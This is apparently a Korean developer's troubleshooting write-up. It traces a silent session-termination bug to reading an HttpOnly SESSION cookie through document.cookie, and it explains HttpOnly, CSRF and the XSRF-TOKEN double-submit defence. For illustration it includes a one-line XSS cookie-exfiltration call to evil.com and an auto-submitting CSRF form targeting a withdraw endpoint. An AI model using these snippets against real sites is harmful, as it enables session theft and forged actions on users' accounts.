HttpOnly 쿠키와 XSRF-TOKEN, 세션 식별 트러블슈팅
daisy-monorepo에서 다른 기기로 같은 계정에 로그인하면 기존 기기에 "세션 종료" 모달이 떠야 했다. 그런데 안내가 조용히 안 떴다. 버그를 쫓다가 "왜 세션 식별용 fingerprint를 SESSION이 아니라 XSRF-TOKEN에서 읽어야 하는가"까지 파고들게 됐다. 그 과정에서 쿠키, document.cookie, HttpOnly, CSRF를 다시 정리했다.
결론부터 말하면, fingerprint를 HttpOnly가 걸린 SESSION 쿠키에서 document.cookie로 읽으려 했고, 그래서 값이 항상 비어서 세션 종료 알림이 조용히 무산됐다. 아래는 그 원인을 되짚기 위해 다시 정리한 쿠키 기본기와, 버그가 거기 어떻게 걸려 있었는지다.
쿠키는 개발자가 아니라 브라우저가 붙여 보낸다
서버가 HTTP 응답에 Set-Cookie 헤더로 값을 내려주면, 브라우저가 저장해 뒀다가 같은 대상에게 요청할 때마다 Cookie 헤더에 실어 자동으로 보낸다. 로그인 상태 유지처럼 "요청마다 나를 증명"해야 하는 데 쓰인다.
# 서버 → 브라우저 (응답)
Set-Cookie: SESSION=abc123; Domain=d-aisy.com; Path=/; Secure; HttpOnly; SameSite=None
# 이후 브라우저 → 서버 (요청마다 자동)
Cookie: SESSION=abc123핵심은 개발자가 코드로 붙이는 게 아니라 브라우저가 알아서 붙인다는 점이다. 이 자동성이 편의이자 동시에 CSRF의 근본 원인이다.
쿠키 속성이 전송 범위와 접근 권한을 정한다
| 속성 | 의미 | 이번 프로젝트에서 |
|---|---|---|
Domain | 이 쿠키를 어떤 호스트에 보낼지. Domain=d-aisy.com이면 *.d-aisy.com 서브도메인에 모두 전송 | 3앱(platform/admin/lineup)이 한 SESSION을 공유하는 근거 |
Path | 어떤 경로에 보낼지 (/면 전체) | — |
Secure | HTTPS 요청에만 전송 | SESSION에 적용됨 |
HttpOnly | JS에서 접근 불가 (document.cookie에 안 보임) | SESSION에 적용됨 → 이번 버그의 핵심 |
SameSite | 크로스 사이트 요청에 쿠키를 붙일지 (Strict/Lax/None) | SESSION은 None(외부 SSO 왕복 때문) |
Max-Age/Expires | 만료 시점. Max-Age=0이면 즉시 삭제 | 쿠키 clear에 사용 |
document.cookie로 HttpOnly 쿠키는 아예 안 보인다
document.cookie는 브라우저 JS에서 쿠키를 읽고 쓰는 유일한 표준 API다.
// 읽기 — "이름=값; 이름=값" 형태의 문자열 하나로 전부 반환
document.cookie
// → "XSRF-TOKEN=xyz; theme=dark"
// 쓰기 — 한 번에 쿠키 하나
document.cookie = 'theme=dark; Path=/; Max-Age=3600'
// 삭제 — Max-Age=0 으로 덮어쓰기
document.cookie = 'theme=; Path=/; Max-Age=0'우리 코드에서 쿠키 값을 꺼내는 헬퍼도 결국 이 문자열을 파싱하는 것이다.
function readCookieValue(name: string): string | undefined {
if (typeof document === 'undefined') return undefined // SSR 가드
return document.cookie
.split('; ')
.find((cookie) => cookie.startsWith(`${name}=`))
?.slice(name.length + 1)
}함정은 여기 있다. API 자체는 언제나 호출할 수 있다. 문제는 HttpOnly가 붙은 쿠키를 브라우저가 document.cookie 결과에서 통째로 빼버린다는 것이다. 그래서 "조회 가능하냐"는 API가 아니라 쿠키별 속성에 달려 있다.
// SESSION은 HttpOnly → 서버로는 잘 전송되지만 JS 눈에는 없음
document.cookie.includes('SESSION=') // → false (존재하는데도!)왜 이렇게 막나. XSS(악성 스크립트 주입)로부터 세션을 지키기 위해서다. 세션 쿠키를 JS로 읽을 수 있으면, 페이지에 주입된 악성 스크립트가 fetch('evil.com?c='+document.cookie)로 세션을 통째로 빼돌릴 수 있다. HttpOnly는 "이 쿠키는 브라우저와 서버 사이에만 존재하고 JS는 건드리지 못한다"는 선언이다.
인증용 세션 쿠키가 HttpOnly인 건 정상이자 권장 사항이다. 그러니 "JS로 세션 값을 읽어서 뭔가 하겠다"는 설계는 처음부터 성립하지 않는다.
자동으로 붙는 쿠키가 CSRF의 뿌리였다
CSRF(Cross-Site Request Forgery)는 쿠키가 "요청을 누가 보냈든 자동으로 붙는다"는 성질을 악용한다.
- 사용자가 우리 서비스에 로그인된 상태 (브라우저에 SESSION 쿠키 있음)
- 사용자가 악성 사이트
evil.com방문 evil.com에 이런 게 심어져 있음:
<form action="https://api.d-aisy.com/v1/user/withdraw" method="POST"></form>
<script>
document.forms[0].submit()
</script>- 폼이 제출되면 브라우저가 SESSION 쿠키를 자동으로 붙여 우리 API로 보낸다. 서버 입장에선 정상 로그인 사용자의 요청과 구분이 안 된다. 사용자 몰래 탈퇴나 정보 변경이 실행된다.
특히 우리 SESSION은 SameSite=None이다. 외부 DIOS SSO 왕복 때문에 크로스 사이트 전송을 허용해야 해서다. 그래서 SameSite로는 CSRF를 못 막는다. 별도 방어가 필요했다.
Double-Submit Cookie 패턴으로 CSRF를 막는다
이름 XSRF는 Cross-Site Request Forgery의 관용 표기다(Spring/Angular 진영 관례).
- 서버가 세션 생성 시 무작위 토큰을
XSRF-TOKEN쿠키로 내려준다. SESSION과 달리 일부러HttpOnly를 안 건다. JS가 읽어야 하니까. - 정상 프론트(우리 앱)는 요청마다 이 쿠키를 JS로 읽어
X-XSRF-TOKEN헤더에 복사해 보낸다. - 서버는 "쿠키의 토큰 == 헤더의 토큰"을 대조한다. 일치해야 통과.
// 우리 인터셉터 (packages/auth/src/fetch-interceptors.ts)
const xsrf = await getXsrfToken() // document.cookie 에서 XSRF-TOKEN 읽기
if (xsrf) headers.set('X-XSRF-TOKEN', xsrf) // 헤더로 echo이 왕복을 그림으로 보면 이렇다.
왜 이게 CSRF를 막나. evil.com은 폼 제출로 쿠키를 자동으로 실어 보낼 수는 있어도, Same-Origin Policy 때문에 다른 도메인(d-aisy.com)의 쿠키 값을 읽을 수는 없다. 헤더에 올바른 토큰을 복사해 넣는 건 *.d-aisy.com에서 실행되는 우리 JS만 가능하다. 헤더가 맞다는 건 "진짜 우리 프론트가 보낸 요청"이라는 증명이 된다.
두 쿠키의 역할이 정반대다
| SESSION | XSRF-TOKEN | |
|---|---|---|
| 역할 | 인증 (당신이 누구인가) | CSRF 증명 (우리 앱이 보낸 요청인가) |
HttpOnly | 적용 (탈취 방지 위해 JS 차단) | 미적용 (설계상 JS가 읽어야 동작) |
document.cookie로 읽기 | 불가 | 가능 |
| 세션 종속성 | 세션 그 자체 | 세션 생성 시 함께 발급(되어야 함) |
버그로 돌아오니 fingerprint가 항상 죽어 있었다
다른 기기에서 같은 계정으로 로그인하면 기존 기기에 "세션 종료" 안내가 떠야 했다. 그런데 안내 없이 그냥 DIOS(외부 SSO)로 튕겼다. lineup 앱은 10초쯤 더 늦게 튕겼다.
세션 종료 알림 쿠키(DAISY_SESSION_TERMINATION)에는 "이 알림이 어느 세션 것인가"를 표시하는 fingerprint가 들어간다. 재로그인 후 옛 알림이 다시 뜨는 유령 알림을 막기 위한 장치다. 그런데 이 fingerprint를 HttpOnly인 SESSION 쿠키 값을 document.cookie로 읽어서 만들려고 했다.
function currentSessionFingerprint(): string | null {
const session = readCookieValue('SESSION') // HttpOnly → 항상 undefined!
if (!session) return null // → 항상 null 반환
// ... 해시 (도달 불가)
}SESSION은 HttpOnly라 document.cookie에서 안 읽힌다. fingerprint는 항상 null이 됐고, 알림 발행 함수가 payload를 못 만들어 조용히 아무 일도 안 했다. 백엔드가 401에 SESSION_FORCED_OUT 코드를 정확히 내려줘도 알림이 안 떴다. 화면이 DIOS로 튕긴 건, 코드가 안 실린 다른 401/444가 일반 인증 실패 경로로 빠진 것이었다.
실측으로 확인하니 추론 두 개가 틀려 있었다
curl -D -로 dev SLO stub 로그인 응답의 Set-Cookie를 직접 봤다.
# dev SLO stub 로그인 응답의 Set-Cookie
SESSION=...; Domain=d-aisy.com; Path=/; Secure; HttpOnly; SameSite=None
# ^^^^^^ ^^^^^^^^ ← HttpOnly 확정, JS 못 읽음- SESSION은
HttpOnly라document.cookie로 못 읽는다. fingerprint가 항상 null인 게 확정됐다. - XSRF-TOKEN은 백엔드가 아예 발급하지 않았다. 인증 API 응답 Set-Cookie에 SESSION과 로드밸런서 쿠키(AWSALB)뿐이었다. 인터셉터의 XSRF echo 코드는 "쿠키 있으면 보내는" 방어 코드일 뿐 실제로는 미발송 상태였다.
프론트만으로 세 가지를 손봤다
- fingerprint 소스를
SESSION에서XSRF-TOKEN폴백으로 전환했다. XSRF-TOKEN은document.cookie로 읽을 수 있는(설계상 non-HttpOnly) 세션 스코프 값이라 대체 식별자로 적합하다. 단 현재 백엔드 미발급이라 다음 단계로 넘어갔다. - 둘 다 못 읽으면 고정값
'unidentified'를 반환하도록 했다. 식별 불가를 이유로 알림을 무산시키지 않기 위해서다. 알림이 조용히 죽는 것보다 뜨는 게 낫다. - 유령 알림 방지는 fingerprint 대신 "성공(2xx) 응답이 오면 세션이 살아있다는 뜻이고, 남은 종료 payload는 이전 세션 잔재이니 제거한다"는 규칙으로 보완했다.
남은 한계는 그대로 적어둔다
XSRF-TOKEN이 발급 안 되는 지금은 fingerprint가 항상 'unidentified'라 세션 구분 기능이 사실상 꺼져 있다. 정상 흐름(강제종료→모달→전파→확인→DIOS)은 문제없지만, "쫓겨난 기기가 나중에 같은 브라우저로 재로그인"하는 경로에서 잔재 payload가 mount 시점에 읽혀 유령 모달이나 리다이렉트가 1회 샐 수 있다. clear-on-success가 네트워크 왕복이라 mount 읽기와 레이스가 난다.
정석 해법은 백엔드에 "세션마다 달라지는 무작위 값을 담은 non-HttpOnly 쿠키"를 요청(예: 기존 ACTIVE_SESSION_EXISTS에 값 부여)하고 fingerprint 소스를 그걸로 교체하는 것이다. 프론트 단독 대안으로는, payload marker에 이미 Date.now()가 박혀 있으니 "발행 후 N초 지난 payload는 무시"하는 프레시니스 윈도우를 추가할 수 있다. 전파는 1초 폴링이라 무관하고, 재로그인은 수십 초에서 분 뒤라 자동 만료된다.
이번에 챙긴 원칙
document.cookie로 "읽을 수 있냐"는 쿠키의HttpOnly속성이 결정한다. 코드가readCookie('X')를 호출한다고 반드시 값이 나오는 게 아니다. 인증/세션 쿠키는 거의 항상HttpOnly이므로 JS로 못 읽는다고 전제하는 게 맞다.- JS로 세션 값을 읽어야 하는 설계는 의심한다. 보안상 세션은 JS에서 가려지는 게 정상이다. "세션을 식별해야 한다"면 세션 값 자체가 아니라, JS가 읽으라고 만든 별도 non-HttpOnly 값(XSRF-TOKEN 등)을 써야 한다.
- 추론 대신 실측한다. "XSRF-TOKEN이 있을 것"이라는 가정이 틀렸다(백엔드 미발급).
curl -D -로 실제Set-Cookie를 눈으로 확인하니 원인이 명확해졌다. - 조용한 실패(silent no-op)를 경계한다. fingerprint가 null이면 알림을 그냥 안 보내는 설계라, 감지 코드는 멀쩡한데도 아무 일도 안 일어나 디버깅이 어려웠다. "실패하면 아무것도 안 함"보다 "실패해도 최소 동작 + 로그"가 낫다.
- SameSite로 막을 수 없는 CSRF가 있다. 외부 SSO 왕복 때문에
SameSite=None을 쓰면 SameSite 방어가 무력화되므로 XSRF-TOKEN 같은 명시적 CSRF 방어가 실질 방어선이 된다.
참고: 관련 코드 위치
packages/auth/src/session-termination.ts— fingerprint, payload 발행/구독, 쿠키 read/writepackages/auth/src/fetch-interceptors.ts— 401/444 감지, XSRF echo, clear-on-successpackages/auth/src/use-session-termination.ts— 구독 훅({open, confirm}반환)packages/ui/src/session-termination-dialog.tsx— "자동 로그아웃" 모달 UIapps/*/src/providers/session-termination-listener.tsx— 3앱 얇은 래퍼